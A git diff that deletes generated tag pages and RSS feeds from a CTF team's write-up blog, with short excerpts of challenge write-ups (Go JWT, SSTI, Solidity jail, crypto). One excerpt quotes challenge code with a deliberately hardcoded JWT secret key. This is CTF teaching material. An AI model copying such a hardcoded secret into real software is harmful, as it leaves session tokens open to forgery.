- - - diff --git a/public/tags/95-solves/index.xml b/public/tags/95-solves/index.xml deleted file mode 100644 index f0cb0182..00000000 --- a/public/tags/95-solves/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - 95 Solves on ByteTheCookies - http://localhost:1313/tags/95-solves/ - Recent content in 95 Solves on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:49:40 +0100 - - GoSecureIt - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - Mon, 23 Dec 2024 16:49:40 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/gosecureit/ - GoSecureIt Description: I&rsquo;ve found this website under construction, at the moment you can only register, but I think there&rsquo;s something strange in the cookie -Introduction We are faced with an application written in go, not very complex with several files, but already looking at the folder tree we see the secret folder with secret.go inside and this code -Source // filename: secret.go package secret var JwtSecretKey = []byte(&quot;schrody_is_always_watching&quot;) // I don't know why it's called secret, I'll just leave it here :) Obviously this is the cookie secret, but interacting with the web application there is not much to do, so it is worth checking other files, especially in Golang, when using the Gin framework it is often used to define routes in the main. - - - - \ No newline at end of file diff --git a/public/tags/95-solves/page/1/index.html b/public/tags/95-solves/page/1/index.html deleted file mode 100644 index 2eb094bb..00000000 --- a/public/tags/95-solves/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/95-solves/ - - - - - - diff --git a/public/tags/abdelhameed-ghazy/index.html b/public/tags/abdelhameed-ghazy/index.html deleted file mode 100644 index bb2c9b20..00000000 --- a/public/tags/abdelhameed-ghazy/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Abdelhameed Ghazy - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Abdelhameed Ghazy

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/abdelhameed-ghazy/index.xml b/public/tags/abdelhameed-ghazy/index.xml deleted file mode 100644 index c67a948e..00000000 --- a/public/tags/abdelhameed-ghazy/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Abdelhameed Ghazy on ByteTheCookies - http://localhost:1313/tags/abdelhameed-ghazy/ - Recent content in Abdelhameed Ghazy on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/abdelhameed-ghazy/page/1/index.html b/public/tags/abdelhameed-ghazy/page/1/index.html deleted file mode 100644 index 8781c6e2..00000000 --- a/public/tags/abdelhameed-ghazy/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/abdelhameed-ghazy/ - - - - - - diff --git a/public/tags/alan-davide-bovo-@albovo/index.html b/public/tags/alan-davide-bovo-@albovo/index.html deleted file mode 100644 index 757322f6..00000000 --- a/public/tags/alan-davide-bovo-@albovo/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Alan Davide Bovo <@AlBovo> - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Alan Davide Bovo <@AlBovo>

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/alan-davide-bovo-@albovo/index.xml b/public/tags/alan-davide-bovo-@albovo/index.xml deleted file mode 100644 index 368d2eec..00000000 --- a/public/tags/alan-davide-bovo-@albovo/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Alan Davide Bovo <@AlBovo> on ByteTheCookies - http://localhost:1313/tags/alan-davide-bovo-@albovo/ - Recent content in Alan Davide Bovo <@AlBovo> on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:04 +0200 - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/alan-davide-bovo-@albovo/page/1/index.html b/public/tags/alan-davide-bovo-@albovo/page/1/index.html deleted file mode 100644 index 08707c14..00000000 --- a/public/tags/alan-davide-bovo-@albovo/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/alan-davide-bovo-@albovo/ - - - - - - diff --git a/public/tags/albovo/index.html b/public/tags/albovo/index.html deleted file mode 100644 index 7a1f29e8..00000000 --- a/public/tags/albovo/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - AlBovo - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

AlBovo

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/albovo/index.xml b/public/tags/albovo/index.xml deleted file mode 100644 index 94ce2293..00000000 --- a/public/tags/albovo/index.xml +++ /dev/null @@ -1,38 +0,0 @@ - - - - AlBovo on ByteTheCookies - http://localhost:1313/tags/albovo/ - Recent content in AlBovo on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:15 +0200 - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - \ No newline at end of file diff --git a/public/tags/albovo/page/1/index.html b/public/tags/albovo/page/1/index.html deleted file mode 100644 index d28f1e21..00000000 --- a/public/tags/albovo/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/albovo/ - - - - - - diff --git a/public/tags/android/index.html b/public/tags/android/index.html deleted file mode 100644 index fa39ec6b..00000000 --- a/public/tags/android/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Android - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Android

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/android/index.xml b/public/tags/android/index.xml deleted file mode 100644 index a6f2e920..00000000 --- a/public/tags/android/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Android on ByteTheCookies - http://localhost:1313/tags/android/ - Recent content in Android on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:48:21 +0200 - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - \ No newline at end of file diff --git a/public/tags/android/page/1/index.html b/public/tags/android/page/1/index.html deleted file mode 100644 index fd514cef..00000000 --- a/public/tags/android/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/android/ - - - - - - diff --git a/public/tags/attack-type/index.html b/public/tags/attack-type/index.html deleted file mode 100644 index 85d97f0a..00000000 --- a/public/tags/attack-type/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Attack Type - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Attack Type

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/attack-type/index.xml b/public/tags/attack-type/index.xml deleted file mode 100644 index 6de8050d..00000000 --- a/public/tags/attack-type/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Attack Type on ByteTheCookies - http://localhost:1313/tags/attack-type/ - Recent content in Attack Type on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/attack-type/page/1/index.html b/public/tags/attack-type/page/1/index.html deleted file mode 100644 index f63bde2d..00000000 --- a/public/tags/attack-type/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/attack-type/ - - - - - - diff --git a/public/tags/authors/index.html b/public/tags/authors/index.html deleted file mode 100644 index d8c60a41..00000000 --- a/public/tags/authors/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Authors - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Authors

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/authors/index.xml b/public/tags/authors/index.xml deleted file mode 100644 index f1304c99..00000000 --- a/public/tags/authors/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Authors on ByteTheCookies - http://localhost:1313/tags/authors/ - Recent content in Authors on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/authors/page/1/index.html b/public/tags/authors/page/1/index.html deleted file mode 100644 index 4698c83f..00000000 --- a/public/tags/authors/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/authors/ - - - - - - diff --git a/public/tags/bad-practice/index.html b/public/tags/bad-practice/index.html deleted file mode 100644 index fab7a809..00000000 --- a/public/tags/bad-practice/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Bad Practice - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Bad Practice

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/bad-practice/index.xml b/public/tags/bad-practice/index.xml deleted file mode 100644 index d69aa6f9..00000000 --- a/public/tags/bad-practice/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Bad Practice on ByteTheCookies - http://localhost:1313/tags/bad-practice/ - Recent content in Bad Practice on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 18:12:32 +0100 - - Online Python Editor - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Tue, 11 Mar 2025 18:12:32 +0100 - - http://localhost:1313/writeups/trx2025/onlinepythoneditor/ - Online Python Editor Description: If you&rsquo;re tired of fast and good-looking editors, try this. Now with extra crispiness! -Introduction This is the first web in the TRX2025 CTF. And it&rsquo;s basically a simple online Python editor with a syntax checker. -Source Go to the source code and we can immediately see two things: -In a file called secret.py, which is never called, read or otherwise used. -The main app.py file - - - - \ No newline at end of file diff --git a/public/tags/bad-practice/page/1/index.html b/public/tags/bad-practice/page/1/index.html deleted file mode 100644 index 76932ace..00000000 --- a/public/tags/bad-practice/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/bad-practice/ - - - - - - diff --git a/public/tags/beginner/index.html b/public/tags/beginner/index.html deleted file mode 100644 index 2afcb2bf..00000000 --- a/public/tags/beginner/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Beginner - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Beginner

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/beginner/index.xml b/public/tags/beginner/index.xml deleted file mode 100644 index a9da7c76..00000000 --- a/public/tags/beginner/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Beginner on ByteTheCookies - http://localhost:1313/tags/beginner/ - Recent content in Beginner on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:52:16 +0200 - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - \ No newline at end of file diff --git a/public/tags/beginner/page/1/index.html b/public/tags/beginner/page/1/index.html deleted file mode 100644 index eb732003..00000000 --- a/public/tags/beginner/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/beginner/ - - - - - - diff --git a/public/tags/blind-ssti/index.html b/public/tags/blind-ssti/index.html deleted file mode 100644 index 16bdabef..00000000 --- a/public/tags/blind-ssti/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Blind SSTI - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Blind SSTI

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/blind-ssti/index.xml b/public/tags/blind-ssti/index.xml deleted file mode 100644 index 5db6d942..00000000 --- a/public/tags/blind-ssti/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Blind SSTI on ByteTheCookies - http://localhost:1313/tags/blind-ssti/ - Recent content in Blind SSTI on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:04 +0200 - - Telemetry - http://localhost:1313/writeups/ulisse2025/telemetry/ - Tue, 08 Apr 2025 18:05:04 +0200 - - http://localhost:1313/writeups/ulisse2025/telemetry/ - Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won&rsquo;t find the hidden flag&hellip; Will you prove him wrong? 🏠🔍 -Introduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge. -Source The application is a simple Flask app with 0 css (we almost like it). - - - - \ No newline at end of file diff --git a/public/tags/blind-ssti/page/1/index.html b/public/tags/blind-ssti/page/1/index.html deleted file mode 100644 index 3e855a46..00000000 --- a/public/tags/blind-ssti/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/blind-ssti/ - - - - - - diff --git a/public/tags/blockchain/index.html b/public/tags/blockchain/index.html deleted file mode 100644 index 849df832..00000000 --- a/public/tags/blockchain/index.html +++ /dev/null @@ -1,298 +0,0 @@ - - - - - - - - - - - Blockchain - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Blockchain

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/blockchain/index.xml b/public/tags/blockchain/index.xml deleted file mode 100644 index 4a839944..00000000 --- a/public/tags/blockchain/index.xml +++ /dev/null @@ -1,44 +0,0 @@ - - - - Blockchain on ByteTheCookies - http://localhost:1313/tags/blockchain/ - Recent content in Blockchain on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 25 Aug 2025 19:13:04 +0200 - - Solidity Jail 1 - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Mon, 25 Aug 2025 19:13:04 +0200 - - http://localhost:1313/writeups/wwfctf2025/solidity-jail1/ - Solidity Jail 1 Description: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! Make a contract to read the flag! -Introduction Jail challenges are always a thrill. You’re thrown into a restricted environment with a single mission: escape and claim the flag. While bash, Python, and even NodeJS jails are familiar territory, running into one in Solidity is a rare treat. -In this challenge, we interacted with a remote server that executed Solidity function code we submitted. - - - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - \ No newline at end of file diff --git a/public/tags/blockchain/page/1/index.html b/public/tags/blockchain/page/1/index.html deleted file mode 100644 index 0f1d7fcc..00000000 --- a/public/tags/blockchain/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/blockchain/ - - - - - - diff --git a/public/tags/business-logic-vulnerability/index.html b/public/tags/business-logic-vulnerability/index.html deleted file mode 100644 index 4551bda0..00000000 --- a/public/tags/business-logic-vulnerability/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Business Logic Vulnerability - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Business Logic Vulnerability

- - - -
- - -
-

2025

- -
    - -
  • - Ben 10 - - - 03/11 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/business-logic-vulnerability/index.xml b/public/tags/business-logic-vulnerability/index.xml deleted file mode 100644 index 998616cf..00000000 --- a/public/tags/business-logic-vulnerability/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Business Logic Vulnerability on ByteTheCookies - http://localhost:1313/tags/business-logic-vulnerability/ - Recent content in Business Logic Vulnerability on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 16:52:02 +0100 - - Ben 10 - http://localhost:1313/writeups/srdnlen2025/ben10/ - Tue, 11 Mar 2025 16:52:02 +0100 - - http://localhost:1313/writeups/srdnlen2025/ben10/ - Ben 10 Description: Ben Tennyson&rsquo;s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It&rsquo;s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden. -Can you outsmart the system and reveal the flag? -Introduction This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I&rsquo;m writing the writeups only so some information could be wrong or not complete. - - - - \ No newline at end of file diff --git a/public/tags/business-logic-vulnerability/page/1/index.html b/public/tags/business-logic-vulnerability/page/1/index.html deleted file mode 100644 index 4122dd83..00000000 --- a/public/tags/business-logic-vulnerability/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/business-logic-vulnerability/ - - - - - - diff --git a/public/tags/careless_finch/index.html b/public/tags/careless_finch/index.html deleted file mode 100644 index 37c93ccd..00000000 --- a/public/tags/careless_finch/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Careless_finch - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Careless_finch

- - - -
- - -
-

2024

- -
    - -
  • - Trendz - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/careless_finch/index.xml b/public/tags/careless_finch/index.xml deleted file mode 100644 index 01217f5f..00000000 --- a/public/tags/careless_finch/index.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - Careless_finch on ByteTheCookies - http://localhost:1313/tags/careless_finch/ - Recent content in Careless_finch on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:04 +0200 - - Trendz - http://localhost:1313/writeups/cyberspace2024/trendz/ - Mon, 02 Sep 2024 10:59:04 +0200 - - http://localhost:1313/writeups/cyberspace2024/trendz/ - Trendz (part 1 & 2) Preamble This challenge is divided into four parts, three webs and a reverse. I&rsquo;m excited to share that I managed to solve the first two webs! I&rsquo;ll insert them all in a write-up, trying to explain them in the way the author thought. I admit I did not solve them in order, but I&rsquo;m eager to see how they fit together. The application was written in Go using templates and a JWT authentication, and it&rsquo;s write well! - - - - \ No newline at end of file diff --git a/public/tags/careless_finch/page/1/index.html b/public/tags/careless_finch/page/1/index.html deleted file mode 100644 index 8d7b67e8..00000000 --- a/public/tags/careless_finch/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/careless_finch/ - - - - - - diff --git a/public/tags/category/index.html b/public/tags/category/index.html deleted file mode 100644 index 93468564..00000000 --- a/public/tags/category/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Category - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Category

- - - -
- - -
-

2025

- -
    - -
  • - - - - 07/08 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/category/index.xml b/public/tags/category/index.xml deleted file mode 100644 index 96cb3346..00000000 --- a/public/tags/category/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Category on ByteTheCookies - http://localhost:1313/tags/category/ - Recent content in Category on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:14 +0200 - - - http://localhost:1313/writeups/namectf/namechallange/ - Tue, 08 Jul 2025 20:33:14 +0200 - - http://localhost:1313/writeups/namectf/namechallange/ - Namechallange Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/category/page/1/index.html b/public/tags/category/page/1/index.html deleted file mode 100644 index 1debd5ce..00000000 --- a/public/tags/category/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/category/ - - - - - - diff --git a/public/tags/crypto/index.html b/public/tags/crypto/index.html deleted file mode 100644 index ad21cbc8..00000000 --- a/public/tags/crypto/index.html +++ /dev/null @@ -1,335 +0,0 @@ - - - - - - - - - - - Crypto - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Crypto

- - - -
- - -
-

2025

- -
- - - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/crypto/index.xml b/public/tags/crypto/index.xml deleted file mode 100644 index 37531732..00000000 --- a/public/tags/crypto/index.xml +++ /dev/null @@ -1,221 +0,0 @@ - - - - Crypto on ByteTheCookies - http://localhost:1313/tags/crypto/ - Recent content in Crypto on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - ECRSA - http://localhost:1313/writeups/cornctf2025/ecrsa/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ecrsa/ - ECRSA RSA or Elliptic Curves? Why not both? -Introduction ECRSA was a crypto CTF from cornCTF 2025. -#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(&quot;FLAG&quot;, 